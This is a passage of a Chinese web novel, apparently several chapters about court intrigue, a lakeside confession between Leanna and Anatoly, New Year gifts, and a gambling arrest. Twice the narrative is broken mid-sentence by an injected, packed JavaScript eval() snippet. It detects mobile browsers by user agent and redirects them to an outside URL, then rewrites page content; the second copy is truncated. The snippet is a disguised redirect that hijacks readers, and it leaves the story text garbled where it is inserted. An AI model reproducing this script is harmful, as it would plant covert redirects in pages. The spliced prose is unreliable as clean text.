而寇尔则展现了出人意料的胆识和分析能力,在商量方案时,他最先提出了利用禁药的思路,甚至在推算子爵的非法财产时,他的心算能力让众人大吃一惊。经历此事后,哈克和寇尔显然不太适合再待在供能中心了,还好寇尔的年龄已经达标,阿纳托利把寇尔推荐到了防御司,只要能通过春天的考试,就可以正式入职。在这之前,寇尔成了合同工,拿到了预支的工资后,寇尔在圣都边缘租了一间小屋,哈克和他都有了落脚的地方。 哈克的年纪要小一些,没办法考试,所以只能以马克西姆远亲的身份暂时留下,等他年纪到了再想考试的问题。 安全部借着这个机会一改往日效率低下的形象,树立起了惩恶扬善的口碑来。亨利也在这件事中恩威并施获得了不少中层贵族的支持。 能源供应中心负责人因为参与禁药交易而被抓捕。而没有任何一个人猜对了接任者。 维斯特利亚推荐由贝拉主教接任能源供应一事让所有人始料未及。 ······ 当所有棘手复杂的工作总算告一段落的时候,阿纳托利和莱安娜仍然不能休息,他们在结案后的第二天踏上了一条大船。 归属于八音盒商会的西林号漂浮在巨大湖泊上,他们即将在这个无人打搅的湖面和八音盒商会的副会长萝丝会面,感谢其在本次案件中的恰到好处的支持,以及商量后续的合作。 但这位老朋友似乎事务缠身,久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100482|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久未至。 这意外的迟到反而给了莱安娜、阿纳托利二人一点难得的空闲,借着等待的间隙到甲板上看起了风景,难得没有旁人在场,两人可以不用避讳地交流了。 阿纳托利便把会议上维斯特利亚任命推荐告知了莱安娜,不少人都觉得这个决定异常奇怪,因为贝拉主教一向只负责前线治疗,但突然将后方的能源管理也交给她,这实在不太合理。 但莱安娜听到这个消息的时候神色却很平静,像是知道其中原因一般。 “你知道为什么维斯特利亚会这么做吗?”阿纳托利有些好奇。 “我不知道。”莱安娜摇了摇头。 阿纳托利仍一脸狐疑地盯着她。 “你是不是又想隐瞒什么?” “没有。”莱安娜没好气地笑了。“我也不是什么都知道,什么都能算到的。” 阿纳托利闻言突然觉得一阵愧疚,莱安娜似乎总是承担了更多的那一方。 见他神色有异,莱安娜还以为他在担忧维斯特利亚的不明动机,宽慰道: “你也不用太担心,虽然我不清楚维斯特利亚的具体目的,但让贝拉接手这件事是相当正常的。” “为什么?” “在你眼里维斯特利亚是个什么样的人?” “一个看上去没有弱点的敌人。” 阿纳托利说道。 维斯特利亚三十岁时带领魔法师直接和全盛时期的哈雷皇帝开战,一个毫无背景的宫廷法师竟然真的颠覆了莱恩家的统治。她的手段可见一斑,年轻时候就是天生的权力玩家,日积月累的智慧和经验让她更加可怕。 设计让阿纳托利这个北方人来平衡南方的势力,之后再让阿纳托利去治理地方魔兽潮,目的是为了打破铁板一块的东部,同时如果阿纳托利和伊莉雅离心,未来就可以成为打进北地的钉子。让立下功劳的战士成为人质,也能变相让不少中层军人暗生不满,未来要挑起北地的矛盾也有了基础。 表面上纵容亨利在这件事上清算贵族,在最后的时候叫停,由神使团出面进行了收尾工作,既保持了教会的权威,利用亨利打压了旧贵族,同时也保证亨利不会伤到贵族的根本,局面仍在维斯特利亚的掌控之中。 甚至针对莱安娜的刺杀,神使团都没有直接出面。 她每一步都很缜密,这样一个滴水不漏、总揽全局的人,阿纳托利不相信她安排贝拉主教接手供能中心没有特殊目的。 “确实,你说得对,维斯特利亚看上去无懈可击,但她仍有无法克服的弱点——时间。” 莱安娜的眼神有些沉重。 “衰老、死亡、没有人可以逃过。帝国就像是一台破旧且不合理的机器,有维斯特利亚坐镇,这些年各方磕磕绊绊地平衡着,勉强还在不断向前,但谁也不知道哪天会停下。” 她摇了摇头:“哈雷皇帝时期,是皇帝的国度,维斯特利亚时期,是魔法师和贵族的国度。她在意的从来只有魔法师,这台破旧机器是她为了魔法师设计的,而现在她不得不考虑她死后魔法师们的未来。” “地脉能源不仅关系生产,更关系屏障和远程魔法的使用,是魔法师的命脉,所以必须掌握在魔法师的代言人手中。”阿纳托利点了点头。 “所以交给贝拉合情合理,毕竟维斯特利亚可就只有贝拉一个候选人了。当年她为了推翻哈雷,拉拢了贵族,同时为了获得女神的支持交出了教皇候选人的决定权。她只能在女神给出的范围内决定人选,但女神选择候选人的原因让人捉摸不透。拼尽一生打造出的国度,身边可以信赖的人越来越少,甚至连能源供应的心腹都和贵族有暗中勾连,死期将至却连候选人都不能自己决定,大家都是人,怎么可能控制所有事的走向呢?” 她眺望着波光粼粼的湖面,似乎对这位狠心的前辈情感复杂。 阿纳托利看她心情有些低落,试着谈起了另一个话题: “也有好消息。” “哦?” “贝拉主教上任后对矿区进行了全面地整顿,工人们的生活改善了很多。而且她的治疗魔法能缓解地下作业的副作用,隔离设备据说也在开发了……” 莱安娜倒是难得流露出惊讶的神色来。 “这倒是完全出乎我的意料。” “怎么?你对贝拉主教的印象不太好?” “这倒不是,工作上我们交集很少,也没有私交,所以不太了解。她是中层贵族出身,发自内心对平民保持善意的贵族是很稀有的。” 莱安娜有些无奈地摇了摇头。 “传闻她是女神的使者、疗愈天使,希望她在矿区的行为不是作秀吧。”阿纳托利说道。 “作秀也没关系,只要她能切实改变工人们的处境,就已经做得比上一位负责人好太多了。” 她的话倒是提醒了阿纳托利,露比送到泰西防线的其中一个孩子就和贝拉家族有关,这件事只能看露比后续能否查明一二,关于魔法师制造的案件相较之下更加重要,他实在分身乏术,想到这里他便继续说起了案件的追查。 “其实,我觉得这个案件和魔法师制造计划有关。” 68. 难以启齿 莱安娜听见他的推论,立刻把正在眺望湖面的目光收了回来,看向了他,示意对方说下去。 “根据乔恩调查的结果,非法内脏交易流向的不止是医疗机构或者私人买家,还有阿萨特主管的研究院。” “你猜的没错,还记得哈克描述的那场交易吗?查理在雨夜中和某位贵族达成交易时,那人曾提到过阿萨特。阿萨特参与了魔法师制造计划,目前还负责药物研究等工作。” 阿纳托利有些疑惑地盯着她:“你不是之前还不确定贝拉主教和阿萨特主教的嫌疑吗?怎么突然······” “咳咳,那时候不确定,现在线索的指向性很明显。” 意识到自己有所遗漏的莱安娜赶紧弥补,因为太过信任阿纳托利,一向谨慎的自己竟然疏忽了。 而抓到破绽的阿纳托利终于在此刻鼓起勇气问出了心中压了很久的问题。 “莱安娜,我很信任你,经过了这些事,我也希望你能信任我。关于魔法师制造计划你是否还有所隐瞒?虽然文森特是你的兄长,你或许能知道一些信息,但作为没有参加计划的人,你为什么对参与人员都有所了解?” 湖面上仍是有风的,风一点也不和煦,吹在人的脸上总是冰冷的,刚才还很融洽的氛围突然间僵了下来。 莱安娜没有给他任何答案,甚至连目光都移开了,阿纳托利像是被这份不自觉的防备刺痛,他委屈地看着对方,难道莱安娜到现在都还不能完全信任他? 他握住了对方的手,头凑得很近,像是连目光都不允许对方逃避。 热切的目光是那样沉重,仿佛压得她没法抬头。 坦而言之,阿纳托利现在才问真的超出她的预料。她原以为在欧文一事后,阿纳托利一定会找机会再试探。 谁知道他竟然拖到现在直接问,没有任何话术、诱导,光秃秃地把问题抛了出来,像无论自己回答什么他都照单全收的样子。 对方就这样捧着一颗真心来质问她,但她却只能说谎。 真相怎么可能说得出口? 让阿纳托利知道自己是魔法师制造计划的产物?让他知道自己是目前唯一一个成功的实验品? “那就杀了那个实验品吧。” 圣都郊外的夜晚,她曾狡猾地试探过他的态度。而阿纳托利给出的答案却是: “那个人没有错,受害者没有错。” 但真到了关键时候,若天平的另一端是更沉重的东西,这位心怀大义的英雄是否还能站在她这个受害者这边呢? 她才不要打这个赌,要是输了一定会很失望的。所以她早就做好了阿纳托利询问此事的准备。她想了好几个精密的谎言,只要在对方质问的时候抛出去就好,阿纳托利绝对无法起疑。 但当对方真的问起来时,她才发现那些谎话全堵在了喉咙里,一群欺软怕硬的东西,被对面的坦诚吓得窝窝囊囊,竟然一个字都不往外蹦。 她当主教这些年,撒谎就和喝水一样简单。 但为什么她现在开不了口? 而面对她的沉默,阿纳托利锲而不舍地追问: “我知道你一定没有参与其中,那为什么总是要遮掩呢?你是不相信我吗?你还在担心我为了北地的利益,放任那些恶行甚至利用实验结果吗?” “我没有不信任你。” 她总算抬起头,眼里分明是痛苦的。 如果信任,为什么不和自己分担呢?阿纳托利不解,仍然期待地注视着对方。 但莱安娜仍一言不发,就在阿纳托利快要彻底死心的时候,她终于开口了: “我兄长接手的方向是药物改良,这个方向原本已经宣告失败,魔兽血清注射让人无一例外地变成了魔兽。但他宣称有办法调整,在实验过程中产生了副产品,一种特殊试剂,可以让人精神麻痹,浑浑噩噩像木偶一样服从。药剂方案早已随着他的死亡不知所踪,但不少群体都对这种药进行了模仿,子爵他们生产的禁药与此有关。而我兄长制造魔法师的药剂并未成功,注射了之后,很大可能会变成魔兽。而阿萨特主教之前研究的方向则是器官和人体改造。” 一连串密集的信息如潮水般说了出来,阿纳托利被打了个措手不及。 莱安娜继续补充:“我会知道如此详细,是因为我察觉到了文森特的计划,和他爆发了冲突,他为了向我证明计划的合理性,说了一些细节,也告诉了我计划参与的其他人。在他意外死亡之后,我就在调查阿萨特,但阿萨特太缜密了,我没有抓到他的实证,只知道其与人体实验有关。” 她深吸了口气,终于抬起头。 “我的隐瞒不是不信任你,也不是要欺骗你。我原本是想循序渐进,等我成为教皇,再彻底处理此事。我怕你介入过早、了解太深,以至于招来危险,我很担心你阿纳托利!” 她剩下的解释还没有说完,就收到了一个温暖的拥抱,莱安娜知道她什么都不用说了。 因为阿纳托利又一次选择了相信她,但这样的信任又能延续多久呢? 他们贴得很近,莱安娜能听到对方的心跳,她已经很久没有离一颗真心这样近了。 她不愿欺骗阿纳托利,所以全说的实话,但隐去了一些更加重要的部分。她拿着一半的真相换取了对方全部的信任,没有比她更卑鄙的人了。 阿纳托利意识到自己在做什么的时候,简直被吓了一跳。 当他听见莱安娜担心他、莱安娜想之后一个人处理此事的时候,不假思索地就拥抱了对方。 布鲁城是这样、缄默区是这样,她总是想一个人把一切都摆平,所以才会担心他过早陷入这个复杂的计划里,才会隐瞒他。 隐瞒不是因为不信任,而是因为担心,那自己在莱安娜心里也应该是一个相当特殊的存在吧。 光是想到这一点,他就高兴到难以言表了,喜悦冲昏了头脑,回过神来竟然做了十分越矩的举动,令人惊喜的是这没有招致莱安娜的不快! 这样似乎有些恬不知耻,但阿纳托利还是想试着得寸进尺一下,他暂时不准备松手。 “对不起,阿纳托利。” 莱安娜说完竟然也伸出手拥抱了他。 他的内心在“今天到底是什么好日子!”的喜悦和有些愧疚的酸涩中摇摆。 “你为什么要道歉呢?”他认真地看着对方。 “莱安娜我问你是否有所隐瞒不是在责怪,也不是怀疑。我也同样担心你。你在学院时就是这样,一个人是不可能解决所有事的,那会把人耗尽。”他轻声说。 “我们既然已经是休戚与共的关系了,那麻烦也好、苦难也好我们应该一起承担,答应我,不要再有所隐瞒。” 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萝丝没有立刻握住莱安娜的手,而是意味深长地看了一眼阿纳托利之后,一把拉住了莱安娜的手,朝自己怀里一拉,给了对方一个热情的拥抱。 “我说,哪有老朋友见面这么生疏的,你们俩还准备演多久的戏?” 她掐了下莱安娜的脸,就像过去那样。 “我知道你是莱安娜!” 这下阿纳托利和莱安娜面面相觑。 “你怎么知道的!什么时候?” 萝丝没有回答这个问题,而是反问起了阿纳托利。 “你怎么和过去一样迟钝?你就没有想过为什么当时安排你去圣都的路要经过布鲁城吗?” 她期待地看向惊讶的两人,随后自己补充了答案。 “因为我,精明能干的万事通小姐,得到了布鲁城可能要有大乱子的情报,这不是知道莱安娜要去布鲁城执行任务吗?但我又没办法直接提示她,正好你来找我求助了,所以……” “等一下,不会路上的偷袭也是你做的吧?” 阿纳托利一脸怀疑地看着眼前这只黑心松鼠。 “那当然没有,那纯粹是你的个人恩怨,可别赖我头上。”她相当嫌弃地瞪了阿纳托利一眼。 莱安娜没有说话,她像一块木头一样僵在萝丝的拥抱里,只觉得混乱和无措。 这么要好的朋友,却在魔导器公有化的方案出台时没有站在她这边,甚至在西区的魔导器贩卖中大赚了一笔,那时候莱安娜以为她们俩这辈子应该会渐行渐远了。 但时隔多年,她还挂念着自己,甚至间接救了自己一命。 她应该用什么表情、什么语气去面对曾经分道扬镳的故友呢? 其实萝丝和她同样紧张。拥抱着她的手臂也僵硬地要命,但她仍挤出了一个热情的笑容,完美地掩饰了内心的不安。 直到莱安娜的手提了起来,拍了拍她的脊背。 “好久不见,萝丝。” 只是一句话,裂痕当然没法恢复如初,但至少盘桓在两人之间多年的坚冰有了一丝松动。 度过了一个复杂沉重的冬天,温暖的新一年即将到来,莱安娜不敢奢望未来在圣都的日子能顺利,但至少目前,让她短暂地沉溺在难得的愉快中吧。 69. 在新年蹲大牢 新年临近,泰西防线也开始热热闹闹地筹备起来,连冷清的书库也被简单地装扮了起来。 这里是露比的两个倒霉和奥菲莉亚相依为命的基地,监视官叶夫根尼似乎不太想让他们接手具体工作,给他们下了外出禁令,但或许是临近新年人手紧缺,这位监视官最近忽然转变了心意,他们又能外出执行任务了。 “我怎么感觉要去工作你反而很开心呢?亚瑟?” 奥菲莉亚放下了写信的笔,看向极度兴奋的亚瑟,他已经把自己的盔甲擦了快三遍了,金棕色的卷发随着他的动作在头顶摇摆,俨然像一只兴奋的大金毛。 “那当然!我已经很久没有外出过啦!”他棕黑的眼睛亮得像是能发光一样。 “但是你们要去防线外的荒原监测地脉异动,不会很危险吗?听着都很可怕。”奥菲莉亚有些担心,对亚瑟的没心没肺只能无奈地皱眉。 “其实没有这么可怕。”一旁的罗杰补充道,“我们是检测地脉有无异动,不是和魔兽实战。荒原的监测点补给充足,还有小型屏障,一旦遇到危险我们可以及时报警请求支援。” “那听上去还好。”奥菲莉亚安心了一些。“你们去几天?” “一周。” “诶!那不就赶不上新年了吗!” 奥菲莉亚拍着桌子蹦到了罗杰面前。 “没事的奥菲莉亚,这份工作来之不易。” 泰西防线的人们对教廷一直有成见,毕竟当年就是南方教廷和贵族联合施压才导致了大后撤行动,这才使多座防线接连失守、魔兽肆虐。 他们这俩个来自教廷的神官自然深受戒备,不过前长官斯捷潘虽然冷漠,工作上却从来一视同仁,真的教了他们不少东西。认真工作的过程中,他们慢慢地和这里的人们熟悉了起来,罗杰工作细致、探知魔法总能派上大用场,十分可靠;亚瑟的攻击魔法同样出色,性格又热情开朗。防线的大家都渐渐对这两个年轻人有很大的改观。 结果好不容易融入环境,一切刚步入正轨,就被这个从天而降的监视官叶夫根尼下令软禁了。 亚瑟和罗杰两个年轻人并不明白背后危险的弯弯绕绕,一心想着能再有机会重新工作。亚瑟向往和谐的环境,他希望能在工作中得到认可,而罗杰需要扎扎实实的战功。 “总之现在能恢复工作已经是万幸了,这个新年我们就只能在荒原度过了,没法陪奥菲莉亚跨年了,只能提前祝你新年快乐。”罗杰那浅蓝的眼里倒映出几分歉意,随后带上了些不好意思的笑容。 “新年快乐!”亚瑟也在旁边灿烂一笑。 而远在千里外的圣都,阿纳托利他们也在筹备新年聚会,这是他们来圣都过的第一个年。 在距离节日一周时,阿纳托里就兴致盎然地着手准备起了很多事,他向来很喜欢这种热闹的日子。 宅邸被提前打扫和装饰了,阿纳托利把所有的花朵都换成了新鲜的重瓣百合还有蔷薇,和厨师讨论了新年菜品,在了解到厨师无法回家后,他诚挚地邀请了厨师的家人一起来圣都过新年,可以报销路费,住宿直接就在宅子里的客房就好。厨师显然对雇主的提议相当惊喜,立刻摆出了斗志昂扬的态度,发誓要做出一桌珍馐美味来。 而在庆典的当天,从东区返回的列昂尼德和娜塔莉娅迎来了假期,一大早便消失得无影无踪。阿纳托利和马克西姆准备去采购物资,还要把预定好的礼物带回。 阿纳托利给列昂尼德准备了一套特制的软甲,是圣都最好的匠人打造的,相当轻便,除了软甲还有一副限量版的联名卡牌以及给列昂尼德女儿的手作玩偶;娜塔莉娅战斗追求速度,因此不会佩戴重甲,而且用趁手的武器也不可能换,阿纳托利准备送她一张圣都维修店铺的年卡,反正她武器经常磨损,除此以外他还给这个爱酒的下属开了一张罗勒酒庄的会员卡;斯捷潘的礼物就很没有新意了,阿纳托利照常给他订了一批魔导器的实验材料,不知道圣都的品控会不会要好一些?至于露比,阿纳托利记得一起南下的时候她要了很多魔晶和魔核,要不把自己之前攒的再送一些给她? 至于莱安娜的礼物,采购完物资的他和马克西姆正在匠人店铺外等候。 “您是要送阿琳娜珠宝吗?”马克西姆看着柜台里琳琅满目的项链、手链眼睛都快花了。“但阿琳娜她不怎么佩戴饰品的。”他好心地提醒道。 “不完全是饰品。”阿纳托利朝他地笑了起来,这让马克西姆更加好奇了。 “到底是什么?” “其实是新的隐藏魔力波动的装置。”他话音刚落,店员就把加工完成的礼物端了出来。 蓝黑色的绒布上躺着一条项链。马克西姆都不由得感叹设计的独特,银色的链子像是藤蔓一般蜿蜒,精细的蓝宝石、碧玺、珠子构成花卉和叶子点缀其间其间,和谐的色彩搭配、生动的造型让冰冷的宝石透出春日蓬勃的生命力。珠子攒的细小蔷薇是链身的尽头,将主石祖母绿衬托得愈加动人。 “哪怕她不喜欢饰品,也绝对无法否认这项链的美丽。”马克西姆点了点头。“首饰店竟然能把拘束装置做成这样?”马克西姆相当意外。 “它的装置部分我拜托斯捷潘早就做好了,首饰店主要是帮忙装饰,装饰部分的珠子和链身也用了特殊材料,花了不少时间。” “您说特殊材料?” “对,克拉肯魔兽的脊骨。” 马克西姆惊讶得眼珠子都快落了下来。当年猎杀了克拉肯魔兽之后,阿纳托利作为主要战力在回收魔兽时可以优先挑选,马克西姆原本以为这材料早就被用来修补武器了,没想到阿纳托利这只囤囤鼠竟然存到了现在。 “您还真能囤啊……”他不由得感叹。“不同的魔兽素材有能够赋予装置不同的特性,这个装置有什么特别之处吗?” “除了可以隐藏魔力之外,在被攻击时还能被动展开屏障。” 马克西姆闻言再次看向这个精致的装置,美丽、实用,竟然还能保命!克拉肯脊骨那可是极其罕见的材料,阿纳托利自己都没舍得用,竟然就这样送人了? 马克西姆知道阿纳托利和阿琳娜是旧相识,现在也是在合作,但没想到阿纳托利竟然会送自己的合作对象如此贵重的礼物。 他深深地看了一眼阿纳托利,一想到长官为了他们的未来的出路选择和主教合作,不仅献出了个人自由还从现在起就斥巨资讨好未来的顶头上司……他真是为大家的未来付出良多。他的眼神变得逐渐严肃沉重起来。 阿纳托利但完全没有意识到马克西姆已经完全想岔了,以为对方是在担心自己过于偏心,连忙找补: “干嘛这副表情,所有人的礼物我都有很认真准备的,你的礼物也是。”阿纳托利一本正经地说道。 “唔……其实我没有什么感兴趣的东西,您让我放两天假就成,再告诉其他人小心行事少受一些伤,其他的东西我都无所……” 他的话在看着阿纳托利手里的门票时全咽了回去。 “你一直很喜欢的歌唱家据说要来圣都的剧院表演了……”他还没说完,马克西姆不敢置信地把门票一把夺过,反复确认后乐得一下子从椅子上蹦了起来。 “您在哪里搞到的!他前两年去巡游大陆了,听说创作了很多新歌,我抢了好久的票都没有抢到呢!” “我商会有一位擅长抢票的朋友。” “这礼物可真是太棒了!”马克西姆的眼睛此刻简直比柜台里的金绿猫眼石还要明亮几分。 他们俩和其他侍从拎着采购来的物资准时回到了宅邸,家里此时空荡荡的,阿纳托利猜测他们或许今天需要给北地的亲人寄信、寄包裹?他没有多想,反正一切万事俱备,只等今晚的新年聚会。 但在他不知道的地方出了一些意外。 列昂尼德、娜塔莉亚、莱安娜此时并没有在商店或者别的什么地方。 他们此时都在安全部的处罚中心。 司长大人绝对不会想到,仅在一天之内,防御司的中流砥柱们都因为涉嫌聚众赌博被一锅端了。 安全部的职员一边打印着罚单,一边小心翼翼地抬眼瞥了眼面前压迫感十足的女士。那墨绿的眼睛让他联想到了即将扑杀猎物的猫科动物。 这位叫阿琳娜的女士正在和自己的上级治安署署长争论,两人针锋相对,小职员托米生怕被牵连,连气都不敢出。就在他恨不得缩进地里的时候,自己的上级开火了。 “他们就是聚众赌博,证据确凿,他们赌资超过了两千五百个铜币。”身穿制服的安全部职员语气严厉不容让步。 “聚众赌博是完全错误的认定,圣都聚众赌博的认定金额标准是五千个铜币。两千五百个铜币是两年前的标准。” 那官员被她噎了一下,他没想过对方来此地不到一周,竟然对安全处罚如此熟悉,但他可不想这么轻松地放人。 “哪怕金额不符合标准,那可是没有营业执照的场所,他们三个人也符合聚众的标准了,不管怎么说,他们需要留在这里等我们进一步调查。” 莱安娜面对可谓是强词夺理的处罚相当意外,安全部此时按道理不应该对他们有如此敌意。这位职员的为难到底是谁的授意? 这次她猜错了,这位安全部职员的刁难完全出于私仇。 按照惯例,如果不是这次假魔兽事件他本该升职,但一向闷头干活的乔恩竟然借着和防御司的案子立了功,抢了他的升职。 防御司将魔兽转移到安全部引发了骚乱,安全部长迫于亨利皇帝的压力把安全部重新彻查了一番,他好不容易讨好的上司被查出了问题,原本处罚可能也不重的,但因为防御司治理严格,迫于同行压力,这次安全部竟然选择了严肃处理。 他都快“买通”的上级竟被辞退了,过往那些人情往来全打了水漂。 他很难不迁怒防御司,而现在正让他撞见了安全部的中层正在玩牌。他猜测他们还不清楚圣都的法律,所以便准备公报私仇一下了。 “虽然那家店并没有营业执照,但圣都规定至少要三人才能构成聚众赌博。”莱安娜据理力争。 “有三个人,我分明看到有三个人!”那位职员提高了音量,立刻把目光落到了一边正在低头逃避的可怜实习生。 “托米!那个红头发的女人呢?” “那个……长官,那人跳窗后逃走了。” “……” 这下这位职员的脸上挂不住了。原本想抓防御司一个错处,没想到自己的人办事不力放跑了一个,而防御司这位翻译竟然意外地熟悉圣都的规定,挑出了他的所有错处。 本就是欲加之罪,而且还证据不足,位治安署的干部最终只得悻悻放人。 夹在中间的实习生托米如释重负,拿着钥匙速速冲进了拘留室。莱安娜看着这人的背影这才长舒一口气。 但楼上的声音立刻让她紧张起来。 “我没想到您如此熟悉圣都的规定,真让我意外。” 她抬起头,黑发的青年正倚靠在二楼走廊的扶手上,笑着俯视她,明明是温和的语气,但那双金色眼瞳里的扫视和观察是那样冰冷。 哇,真倒霉啊! 莱安娜内心狠狠翻了个白眼,面上仍体面地朝他笑着行了个礼。 “身为防御司的职员,学习圣都的规定是我的义务,陛下您过誉了。” 此时装傻充愣反而适得其反,不如端出一副认真学习有所进步的样子。 她一边想着一边把头抬了起来,笑盈盈地盯着对方。 “不过我很困惑,我们的职员并没有违规,为何对我们的职员要如此严苛?难道安全部对防御司有意见?” 亨利知道,对方这是在问此次刁难是不是出于自己的授意。她态度很强硬,这种直来直去的问法确实像毫无周旋经验的新人。但过于完美的伪装有时候反而能说明问题。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110923|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >亨利下意识眯起了眼睛。 “阿琳娜女士您多虑了,安全部牢记防御司的善意和帮助,至于这次的事情……”他的目光落在了刚才那位咄咄逼人的署长身上。 “我想这或许是个误会。” 他一边说着,一边下了楼梯。 没等亨利说话,署长很有眼色地开口了。 “我记错了条款,加上新年的事务繁杂,这才险些处罚错误,我向防御司致以诚挚的歉意。” 莱安娜真是受够了他们的这些弯弯绕绕,对于对方虚假的致歉,她沉默着没有说话。 “哦?我以为误会解除了就好了,防御司需要我们给出怎样的诚意呢?” 亨利一边笑着问,一边走到了署长的身边,把手轻轻的落在了他的肩膀上。 那位干部的脸霎时变得惨白,他这才意识到自己似乎搅和到了一些不得了的麻烦事里。 莱安娜眼里的闪过的不快很快被隐藏起来,她目光从这个可气又有些可怜的署长身上扫过,最终抬眼和亨利对视。 “我们相信安全部的诚意。新年工作繁重,署长负责治安类工作任务繁重,我们理解。误会已经解除了,希望未来大家都能协作顺利。” 她说完后,亨利搭在署长肩上的手收了回去。 “工作难免疏漏,但不是每个人都像防御司的职员这般善解人意,署长你要听取这位女士的建议,对自己手里的工作更认真才行,你应该还有其他任务吧?” 他温和地说着,使了个眼色,署长明白了亨利的弦外之音,立刻以工作为名夺门而出,大厅只剩下了莱安娜和亨利。 “真的不需要我再表达下诚意?”他语气诚恳,笑容温和,那笑容像一根刺,让莱安娜的心里很不舒服。 “只要不是安全部对防御司有敌意就好,误会已经解除,事情到这里就很好。”莱安娜平静地回应道。“但我很好奇,陛下您为何要亲自来安全部的治安署呢?还是在这么凑巧的时候?” 面对她毫不掩饰的怀疑,亨利有些无奈地摇了摇头。 “如果我说我是为了给朋友送上新年祝福,您会相信吗?” “当然。”她点了点头。 当然不信,但莱安娜仍面带微笑。 亨利也继续解释着:“我的挚友安东尼奥答应了担任治安骑士团集训老师的请求,今天是他工作的最后一天,我是来接他回去的,毕竟今天是新年不是吗?恰好他们今天外出了集训,我才来隔壁的安全署等候,毕竟冬天的训练场冷得够呛。” 莱安娜的心情有些复杂。亨利这人九分假意一分真心,在见惯了对方的虚伪后,突如其来对朋友的真心倒是有些可笑。 简直就像是一头茹毛饮血的狼,在咬伤你后的某天装模作样地吃起草来,他笑着告诉你,我有时候也会吃素的。不知道是真的换换口味,还是无数谎话中的一句。 在亨利刚解释完没多久,门外的马蹄声就愈发清晰,骑士们训练回来了,这次他似乎没有说谎。 莱安娜以为二人的对话已经结束,亨利应该准备离开了,便朝他礼貌地道别。 “恭送陛下。” “阿琳娜夫人,在道别前您忘了一件事。”亨利提醒道。 莱安娜疑惑地抬起头,亨利笑着朝她走近了一步,拿出了一个只有掌心大小的丝绸袋子。 “新年快乐,阿琳娜女士。”他托起对方的手,把那个袋子放在了对方的手掌里。 莱安娜愣了一下,她完全没有料到,不禁感叹亨利的可怕。他竟然会随身携带小礼物,这是准备遇到谁就随机收买人心吗! 就在她分心吐槽陷入沉默之际,亨利有些委屈地开口了: “真可惜,我今年没办法得到您的新年祝福吗?” “祝您新年快乐……”莱安娜有些机械地回答了对方。手里像是握着一块烧红的玻璃,没法丢在地上,握在手心里又烫得人难受。 而面对这敷衍的祝福他眼底竟然还有笑意。 “要得到您的祝福还真不容易。” 他轻声说道,仿佛在说一个玩笑,随后叹了口气,转身朝门外走去。 莱安娜只觉得背后一阵发冷,和这位心眼堪比马蜂窝的年轻人打交道让她很是疲惫。 她打开了那个绸袋子,把里面的东西倒了出来,那是条手链。 她手指挑起那条手链,白金的做工非常精巧,甚至模拟出了浪花的形态,海豚的挂坠小巧但足够吸睛,点缀没有用一整颗石头而是选择了蓝色和白色的碎钻点缀在白金的浪花之间,竟然真的像是波光粼粼的海面。 “维斯特利亚当年抄家抄得不够干净啊,哈雷到底给这群后代留下了多少钱?连随机赠送的小礼物都是这种品级的东西?” 莱安娜忍不住在心里感叹。 真想卖了这玩意,但在圣都卖显然风险太大,她还是先收起来,等之后找个地方处理掉吧。 她正盘算着,托米小职员带着娜塔莉娅和列昂尼德总算走了出来。 “怎么用了这么久?”莱安娜看着托米,他们要是早点出来,自己也不用一个人和亨利周旋了。 “钥匙掉地上了……我没分清哪把,就一把一把地试的。” 不是,怎么会这么倒霉? 莱安娜真觉得自己和防御司的几个同伴需要去占卜下了。 列昂尼德和娜塔莉娅一脸尴尬,谁能想到放个假玩个牌竟然险些被治安部抓起来,要不是莱安娜正好经过,把他们捞了出来,明天估计就有防御司职员聚众赌博当场被抓的头条,那不让人笑掉大牙。 他们俩此刻还不清楚处罚的内情,所以还没来得及恨那位滥用权力的署长,现在他俩内心只有逃过一劫的后怕以及对莱安娜的感激。 在两人炙热的目光里,莱安娜有些不自在。 “路上再说吧,我们先回家。” 莱安娜说着转身就朝治安署外走去。 70. 带薪被通缉 露比没想到自己会有这么狼狈的一天。 她,遵纪守法的好公民,魔导器和作物研究的中流砥柱,东区的神官之一。怎么就落到被安全部职员穷追猛打的处境了? “我再也不玩牌了,我再也不赌了!” 她咬牙切齿,在内心暗骂。 一年的研究接近尾声,假期快要到来,已经休假的列昂尼德找到了研究所来,邀请她继续上次的游戏。 “但我们其实还没有放假诶。”她不知道为什么目光游离向斯捷潘,对方明明最多只能算来学习的编外人员。可能是因为太过勤劳的同事总是会卷到其他人的。 “你去吧。”斯捷潘明明头都没有抬,却像是头顶也长了眼睛,察觉到她的目光似的回了一句。 露比挑了挑眉,有些不快,斯捷潘又不是自己上级,哪怕自己想翘班也不需要他首肯吧,她正准备发两句牢骚,谁让斯捷潘的性格又冷又臭,有时候又有点太正经。 她正打着腹稿呢,斯捷潘已经继续说了下去:“埃尔文主教应该去看画展去了,你去吧,如果他回来我会告诉主教你去购置新零件的。” 列昂尼德睁大眼睛瞥了眼斯捷潘,欲言又止。 而露比立刻把刚才想阴阳怪气的话全部咽了回去。天呐!天呐!怎么会有这么好的同事!自己刚才真是狭隘! “谢谢你!谢谢你!好同事!我发誓我在作品致谢里会提到你的。” “数据分析和设计我本来就有参与,那是我应得的。”斯捷潘冷笑道。 “烤饼!等假期结束我给你带烤饼好不好!芋泥馅的好不好?你最喜欢芋泥馅了不是吗?” “可以。”他点了点头。 露比兴高采烈地离开了工作间,去自己的房间拿东西。 列昂尼德这才吐槽。 “你喜欢芋泥馅?” “我可以喜欢。” 